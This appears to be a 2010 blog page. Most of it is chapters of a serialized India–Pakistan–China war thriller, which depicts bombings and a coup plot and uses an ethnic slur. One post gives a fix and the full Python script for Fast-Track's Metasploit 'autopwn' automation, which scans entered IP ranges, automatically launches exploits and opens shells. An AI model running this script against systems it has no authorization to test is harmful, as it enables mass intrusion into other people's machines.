Pages

Monday, December 20, 2010

War Scenario (Part IX)

Previous Part


19:30 Hours
27 Oct 2012
Karachi Garrison
Pakistan




General Asgar was pacing his office waiting impatiently for his telephone to ring. General Beg's reaction to the bombings and riots had taken him completely by surprise. As soon as he came to know of it he tried contacting General Hu but was told by his aide that Hu was in a meeting with senior leaders of the Party and could not be excused. Asgar could do nothing but wait for Hu to contact him and that made him mad.
Presently the phone rang and Asgar rushed towards the table to pick it up. Smooth voice of General Hu came in on the line, “ Good evening General. I understand that there've been some unexpected events ?”

“Why else would I feel the need to contact you General Hu, if everything was alright ?” Asgar asked angiriy.

Hu ignored the jab and continued in the same voice, “ Well, Beg's action were not really unexpected after what happened to Naqvis and the unfortunate blasts and riots in your country today. ”.

“Nothing is really unexpected once it has happened. Now what am I supposed to do ? I don't even know who is behind these blasts.“

“If you leave out Islamic terrorists, who do you think can possibly benefit from this ? “

“ Beg himself ! But is it really possible ? Serving Army chief orchestrating bombings and riots to get the chair !“

Hu replied, “ We don't know if he did it or not. But think of the consequences if somehow it's proved as the truth.”

“ Even if he really did this and we manage to prove it as such, it will not amount to anything. Americans will not withdraw their support and Beg will continue his rule” Asgar lamented.

“ Not if you snatch it from him”.

Asgar nearly jumped out of his chair, “ A coup ! That too against an serving Amy general! Are you in your senses ? Do you really think that Americans will let their poodle go down so easily ?“

Hu replied in a soothing voice, “ I know very well what I'm talking about General. If Americans are backing Beg, you have all the might and goodwill of Chinese republic behind you. You realise that China is an all weather ally of Pakistan unlike US , even your public knows this truth.”

“What will you gain from this ? “

“ Come on General ! We both have common goals and interests that we've discussed so many times. It's just that we need to find a somewhat different way to get you at the top post . ”

“It'll not be so easy General Hu, as you might be thinking. There are a million things that could go wrong. General Beg is no fool. I'm sure that he must have planned for any such attempted coups. Grabbing power from him could turn in to a bloody and long affair. And whats going to stop Americans from coming to his aid ?”

Hu replied in a reproaching voice, “ You seem to forget your Chinese allies too easily, General. Whatever you need of us, you just need to ask.”

“I'm worried about American intervention because of the nukes. They'll do anything to stop me from gaining their control. You know the history. “

“You need not worry about that General. Didn't I just say that you just have to ask.”

“What ? Are you a djinn (genie) or something ? Genei Hu ?” Asgar laughed nervously.

“ May be.” Hu replied mysteriously. “ You are really worried about being nuke nude, aren't you ? “

“Of course yes.”

“In that case, how about we supplying you a minimum of six nuclear missiles within two days of your request ? Painted in your Pakistani colours, all ready to parade around or even launch at your enemies as you see fit . Beg needs approval from his American masters even to see the Paki nuke assets. But you'll have your own, completely independent ready to launch nuclear tipped missiles. Even if Americans disable all the nukes and missiles that your country already has, you still have something to scare your enemies. You'll get more weapons later according to your requirements.“

Asgar stammered, “ Yes..yes..That'll be really great. But what about the Indians ? How do we keep them from any mischief ?”

“ Indians wouldn't be able to interfere in anyway with our plans. If needed, we'll keep them occupied. You just have to act fast before anybody has the chance to react. ”

“I understand. You just take care of the nuke business and keep an eye on India . I can easily handle Beg myself. After I seize the power, nobody will have any option but to respect my authority. “ Asgar felt some of his old confidence returning.

“Very well then. I'll be seeing you in person real soon. Goodbye and good luck.”

Tuesday, December 14, 2010

Autopwn Automation of FastTrack Bug

Seems like there've been some minor changes in the MetaSploit Framework 3. One of the effects is that the the Autopwn Automation of FastTrack is not working. Running the script gives the following error:


.
.
msf > load db_sqlite3
[-]
[-] The functionality previously provided by this plugin has been
[-] integrated into the core command set. Use the new 'db_driver'
[-] command to use a database driver other than sqlite3 (which
[-] is now the default). All of the old commands are the same.
[-]
[-] Failed to load plugin from /opt/metasploit3/msf3/plugins/db_sqlite3: Deprecated plugin
msf > db_driver sqlite3
[*] Using database driver sqlite3


One solution is to open up the Msfconsole and type the commands manually. But that kind of defeats the purpose of having FastTrack installed (in a limited way of course:p ). Fortunately, the fix is very easy. All you need to do is to modify the autopwn file in /pentest/exploits/fasttrack/bin/ftsrc directory. First open the file in any text editor of your choice and look for this line in bold:

try:
child1 = pexpect.spawn('%smsfconsole' % (metapath))
# load sqlite3
child1.sendline ('load db_sqlite3')
# Destroy database
child1.sendline ('db_destroy pentest')
# Create database
child1.sendline ('db_create pentest')

Now replace db_sqlite3 with db_driver sqlite3 and save the file.
Everything will work fine.

Alternatively you can copy-paste the following text in a text editor and save the file as "autopwn.py" (minus quotes) in directory /pentest/exploits/fasttrack/bin/ftsrc . You'll need root access to replace the already existing file.


#!/usr/bin/env python
import pexpect,sys,os,time
try:
import psyco
psyco.full()
except ImportError:
pass
definepath=os.getcwd()
try:
ipaddr=sys.argv[3]
except IndexError:
ipaddr=raw_input("""
Metasploit Autopwn Automation

http://www.metasploit.com

This tool specifically piggy backs some commands from the Metasploit Framework and does
not modify the Metasploit Framework in anyway. This is simply to automate some tasks
from the autopwn feature already developed by the Metasploit crew.

Simple, enter the IP ranges like you would in NMap i.e. 192.168.1.-254 or 192.168.1.1/24
or whatever you want and it'll run against those hosts. Additionally you can place NMAP
commands within the autopwn ip ranges bar, for example, if you want to scan even if a
host "appears down" just do -PN 192.168.1.1-254 or whatever...you can use all NMap
syntaxes in the Autopwn IP Ranges portion.

When it has completed exploiting simply type this:

sessions -l (lists the shells spawned)
sessions -i (jumps you into the sessions)

Example 1: -PN 192.168.1.1
Example 2: 192.168.1.1-254
Example 3: -P0 -v -A 192.168.1.1
Example 4: 192.168.1.1/24

Enter the ip ranges to autopwn: """)
if ipaddr == 'quit' or ipaddr == 'q':
print "\n\nExiting Fast-Track autopwn...\n\n"
sys.exit()
# Spawn instance of msfconsole
try:
option1=sys.argv[4]
except IndexError:
option1=raw_input("""
Do you want to do a bind or reverse payload?

Bind = direct connection to the server
Reverse = connection originates from server

1. Bind
2. Reverse

Enter number: """)
if option1 == 'quit' or option1 == 'q':
print "\n\nExiting Fast-Track autopwn...\n\n"
sys.exit()
if option1 == '1': option1='-b'
if option1 == '2': option1='-r'
print "Launching MSFConsole and prepping autopwn..."
try:
counter=0
metapath=file("%s/bin/setup/metasploitconfig.file" % (definepath)).readlines()
for line in metapath:
metapath=line.rstrip()
except IOError:
print "Configuration file not detected, running default path."
print "Recommend running setup.py install to configure Fast-Track."
print "Setting default directory..."
counter=0
# BT3
if os.path.isfile("/pentest/exploits/framework3/msfconsole"):
metapath="/pentest/exploits/framework3/"
counter=1
# NUbuntu
if os.path.isfile("/tools/exploits/framework*/msfconsole"):
metapath="/tools/exploits/framework*/"
counter=1
if counter == '0':
print "Metasploit not detected..Exiting.."
sys.exit()

try:
child1 = pexpect.spawn('%smsfconsole' % (metapath))
# load sqlite3
child1.sendline ('db_driver sqlite3')
# Destroy database
child1.sendline ('db_destroy pentest')
# Create database
child1.sendline ('db_create pentest')
# run actual port scans
child1.sendline ('''db_nmap %s ''' % (ipaddr))
# run actual exploitation
child1.sendline ('db_autopwn -p -t -e %s' % (option1))
child1.sendline ('sleep 5')
child1.sendline ('jobs -K')
child1.sendline ('\n\n\n')
child1.sendline ('sessions -l')
child1.sendline ('echo "If it states No sessions, then you were unsuccessful. Simply type sessions -i to jump into a shell"')
# jump to pid
child1.interact()
except Exception: print "\nExiting Fast-Track...\n"

Monday, December 13, 2010

War Scenario (Part VIII)

Part VII


19:00 Hours
27 Oct 2012
PM House
New Delhi, India


Six big blasts in four cities within a span of 4 hours !” Indian PM was incredulous, ”What the hell is happening in Pakistan ?“

“Bomb blasts are least of their worries right now. More Pakistani civilians have died in riots that broke out after the blasts than the blasts themselves. More are dying even as we speak. “ Angad replied.

“Any idea who did this? Were all blasts planned by a single group” ? PM asked even though he knew the answer he'd get.

Angad shrugged, “ We are still analysing our intelligence reports. There are numerous suspects, but whoever did this, executed it really well. Unlike the attack on Paki President, no one has taken the responsibility for these attacks yet. “

“ I just hope that these guys have enough sense not to blame us for this.” DM remarked warily.

“ That's a feeling we both share.” PM murmured and lapsed into a moody silence.

“We've already issued an official statement condemning the bombings. But I have serious doubts whether it'll make any difference to these idiots. They'll blame everybody except themselves for all their troubles.” DM continued. “I'd like to put our forces on border on heightened state of alert, but I 'm sure that it'll be taken as a sign of aggression.”

“Only border ? I'd like to put all our security agencies on high alert. I'm willing to bet you anything that some Islamist nuts have already started planning terrorist strikes against us”. HM spoke to the nodding agreement of Angad.

“We can put state police and other internal security organisations on high alert without any problem but doing it on the international border is a different matter. Doing so will not only increase the tensions but also bring international pressure on us. Pakis have always exploited anti-Hindu, anti-India cards to divert attention from real issues since long and any such action on our part will surely provide them with an excuse to cause some mischief.”

“ Would you rather have similar terrorist attacks in our cities than take necessary actions to avoid them lest in offends Pakis ? ” HM asked testily.

“Our forces in J&K are always on high alert and BSF is guarding rest of IB in western sector fairly well. In current situation, maximum we can do is to increase size and frequency of patrols without making it public. Anything beyond this will be seen as unprovoked aggression on our part. Mobilisation of army in current situation is out of question. ” DM retorted.

This exchange was broken by buzzing of the intercom. Angad put the phone to his ear and without saying a word turned on the large LCD TV in room. All eyes in the room were turned to the news channel on which serving Pakistani Army Chief General Beg was reading his speech. He spoke of the recent bombings and subsequent riots and their effect on already precarious security situation in Pakistan. He went on to announce imposition of martial law, postponing of election pending better security conditions and his appointment as the country's military ruler until such conditions are achieved. War against Islamic terrorism was to continue without any change as per the requirements of his allies. He finished the speech asking for help from the international community in Pakistan's hour of need.

“Well, that changes something I guess. At least he had the fig leaf of a civilian regime before this. ” PM was first to break the silence.

“He didn't mention anything about mobilisation of army or reshuffling of top posts. I can't find anything in his speech that'll specifically change anything for us in near future.” DM observed.

“What about our peace talks ? We can't be seen negotiating for peace with a military dictator. “ PM asked in a worried voice.

DM rolled his eyes and was about to say something when he was interrupted by HM, “ You are still serious about that “peace talk” thing ?

PM replied in a surprised fashion, “ Why not ? Do we have a choice ?”

“ We can worry about “peace talks” later. Right now, we have a situation at hand that needs our immediate attention.” HM responded. “What do you think of it Angad ? “

“ One of many things that's worrying me is reaction of General Asgar. I don't think he'll take it easily. Beg didn't mention anything about him and we don't know what he is going to do. Unless Beg has offered him something substantial, he will not take it lying down. Specially when he has backing of Chinese. “

“What's the worse that could come of it ?”

“ An attempted coup followed by a bloody civil war is one thing that comes to the mind. ” DM replied glumly.

“ You mean Asgar trying to overthrow Beg ? But this is madness !” PM exclaimed.

“Well, we discussed something like that in our last meeting.”

DM looked towards HM before replying “ Seems like we'll have to put our forces on maximum alert now. No point in taking chances when Chinese and Pakis are involved. “

“What is your opinion Angad ? “ PM looked towards NSA chief hopefully.

“ I agree with Defence Minister. Not only Army, even Air Force, Navy and Coast Guard should be put on high alert . It'd be foolish to just guard IB after Mumbai attack.”

“ Very well then. Do whatever is necessary, but take every precaution to keep things under control. I don't want a possible nuclear war due to any misunderstanding. ”

DM allowed himself a smile, “ Don't worry, sir. We'll issue a press statement and send a dossier to assure everybody of our benign intentions.”

Friday, December 10, 2010

War Scenario (Part VII)

Part VI

10:00 Hours

27 Oct 2012

Central Market

Karachi, Pakistan

Mohammed Shafiq was in a bad mood when he stopped his car in front of his 25 years old eatery in Central Market, one of the busiest in Karachi. He came to the city when he was barely 13 years old after running away from his home in Multan. He did various jobs for 11 years and somehow scraped up enough money to start his own shop in Central Market. Over the years he managed to establish a reputation of serving good food at affordable prices. Most of his customers were local shopkeepers and their employees who bought their breakfast and lunch from him daily.

His daily commute of 20 minutes to his shop today took him 3 hours due to almost curfew like security measures in place. Although Pakistanis were used to terrorist attacks and subsequent tightening up of the security that invariably followed such attacks, measures adopted today were extreme by even Paki standards. Every occupant of every vehicle was told to disembark and then body-searched in addition to metal-detector and dog sniffer checks This delay had cost him earnings he made every morning that amounted to almost half of his daily income everyday. He barked at Shahid, 18 years old helper who was dozing in front of the shop , to get the keys and open the shutters while he searched for a place to park his car. Delay of 3 hours meant that most of the already scarce parking spaces were already full and he had to park his car at a considerable distance from his usual place near the shop. Cursing everybody in general for his troubles he took out a cigarette and started walking towards his shop. His unpleasant mood was slightly softened at the sight of a few regulars starting to assemble in anticipation of an early lunch or a late breakfast.


Shafiq's attention was diverted by sound of a pickup truck being rashly driven that passed him by with only inches to spare. He swore loudly cursing the driver and his relatives to hell and worse. His rant was suddenly interrupted by the sight of that truck suddenly changing it's direction towards the small crowd in front of his shop. Before his horrified eyes the truck ran over 3 people and stopped after hitting the wall of his shop. He shouted at the people around for help and starting running towards the scene of accident. He was still 20 meters away when the truck exploded with a loud bang and caught fire. Shafiq along with many other people was thrown back many meters by the force of the blast wounded grievously. Fire from the truck soon reached the LPG cylinders in the eatery which exploded further spreading the fire. Eight fire brigade trucks took 4 hours to extinguish the blaze which turned more than half of the Karachi's most crowded markets into ashes, killed 37 people and wounded many more.

Thursday, December 9, 2010

War Scenario (Part VI)

(Part V)

HM was first, “ With billions of dollars that they have at their disposal, what stops the Chinese from just buying off the locals in Balochistan and POK and prevent all this bloodshed and delay ? “

“ If Chinese have billions of dollars, US can print trillions even at the cost of damage to it's economy that such an action might bring. In case of POK, Chinese have displaced people from dozens of mountainous villages where land suitable for farming and rearing cattle is at a premium and constructed their colonies and roads. The people who have lost their lands have nowhere to go and make a living outside POK as they don't have full rights as other Pakistanis. Even those who haven't lost their lands directly have suffered due to pollution, land-slides, flooding among other side-effects brought upon by indiscriminate Chinese activity in a fragile eco-system.

As for Balochistan, things could've been much better if Pakistani army officers were kept out of the compensation process. Balochis alleged that army siphoned off a lions share of the money that was given by the Chinese and they were left with nothing. When Chinese attempted to talk directly, Pakis brought in their H & D (Honour and Dignity) issue in to play and also screwed up everything by picking up needless fights. Same thing happened in POK too.”

PM asked the next question, “ Is Chinese presence in Balochistan and POK in anyway related to attack on PPP rally? “

“I only have a theory sir.” Anagad replied hesitatingly.

“Let us hear it.”

“ Pakistanis have been going slow on Gwadar port route due to US pressure on Beg and the civilian government.US has been sponsoring psy-ops for quite some time against the project by questioning whether anybody except the army and it's stooges will gain anything out of this, covertly of course. Beg regime was already under enormous domestic and international pressure due to corruption charges and this whisper campaign forced him to tow the US line. Work on route in Balochistan was halted many times citing environment clearances, land ownership issues and so on much to the annoyance of Chinese.

Although it seems kind of far fetched, one of the quickest ways to get the work completed as soon as possible is to have their own puppet in control instead of a US controlled one. For Chinese, there is nobody better than General Asgar for this job. They've been propping him up for quite some time now as a counter to US influence. They planned to use him to push their agenda after Beg stepped down, but Beg's 3 year extension put a spanner to their plans. Chinese wouldn't let their investment go down the drain and will do anything within their ability to retain their influence and activate that route. They don't see it as an option but a vital necessity. They'll do anything to weaken Beg and install their own man. This near fatal attack on Naqvi is a big blow to the public moral and image of army. Something that General Asgar and Chinese really want.”

“Why don't Chinese try buying off Beg instead of playing such dangerous games? “ Home minister inquired.

“ Well, I don't think that they didn't try that. We know for a fact that 2 senior PLA generals visited Beg many times over that last 2 years, ostensibly for the same purpose you mentioned and also to pressurise him to stop training and infiltration of ethnic Uighur militants into XinJiang. But Beg knows too well that he and PPP government can't last a day without US support.
As for Uighur militant issue is concerned, he is powerless to oblige China without messing up US plans. It's not like reign of Musharraf when Pakis were able to use terrorists for their own means even when pretending to fight them in exchange of money and military aid. Americans have wisened up to the duplicity and perfidy of Pakis and have kept everything on a tight leash. They want to get out of Af-Pak as soon as possible and allowing Chinese controlled Asgar to rule Pakistan will make a graceful exit impossible for them.”

“So it seems like US and China are fighting a proxy war , each one using Pakistanis as pawns. “, PM said with a wry smile.
“ But not without serious consequences for us.” Defence minister interjected. “A US-China battle ground in our nuclear armed neighbour is a nightmare. But I don't think any one of the two will be foolish enough to destabilise the country, it being in tatters as it already is.”

“ Agreed. I don't think that either US or China will enter into direct conflict with each other. But their cat-and mouse games are sure to cause serious unrest. It could even result in a civil war. I don't
want to even think about that.” DM said with a shudder.

PM asked Angad, “ Why Asgar has not tried to initiate a coup against Beg till now ? Or Beg tried to defang Asgar ?“

“ It sure seems like a quick fix, but both are serving army men and any such move by either of the two will surely cause division within army ranks and a very likely civil war. With nukes in picture, nobody knows the consequences. Even without nukes, it's a lose-lose condition for both, unless something unexpected happens, “ Angad replied

“Unexpected like ?”

Angad paused for a moment before speaking, “ Like Beg willingly hands over the reigns to Asgar in exchange for a guaranteed safe exit and large sum of money. Or Asgar dies, in that case there is nobody senior enough in Paki army hierarchy that Chinese control to challenge Beg. But Asgar has good contacts with many Islamist terrorist organisations and most worryingly with army wing in charge of the nukes from his pre-9/11 days.

Beg can also postpone the elections , impose martial law and cut the wings of Asgar by arrest or other means. On the other hand, if Beg dies, power is still in hands of civilian government and they can demote or dismiss Asgar. But I seriously doubt that Asgar and his Chinese allies will let it happen.”

“So, what does it mean for us ?”

“In case of a civil war, anything from terrorist strikes to a full blown war to deflect the attention. Threat of a nuclear attack blamed a rogue commander or terrorists is very likely. Chinese will surely
try to take advantage of the situation. “

“ A stable Pakistan is in our interests after all !” DM remarked bitterly.

“I dare say it's not. If we play our cards right, we can use the instability in Pakistan to cut down China to it's size as well as rid ourselves of the shackles of terrorism and nuclear blackmail that
these two threaten us with.” Angad responded eagerly to a approving nod from the army chief, General Zoravar Singh.

“ Interesting”. DM replied, “What are our options ? ”

“ I believe our service chiefs already have a plan that they can explain much better than me “

PM turned to the 3 chiefs who so far had been listening to every word intently and spoke, “ Lets hear it gentlemen.”

All 3 chiefs shared glances with each other and nodded a silent agreement . General Zoravar Singh leaned forward on his chair and began explaining their battle plans to a fully attentive audience.

Pageviews past week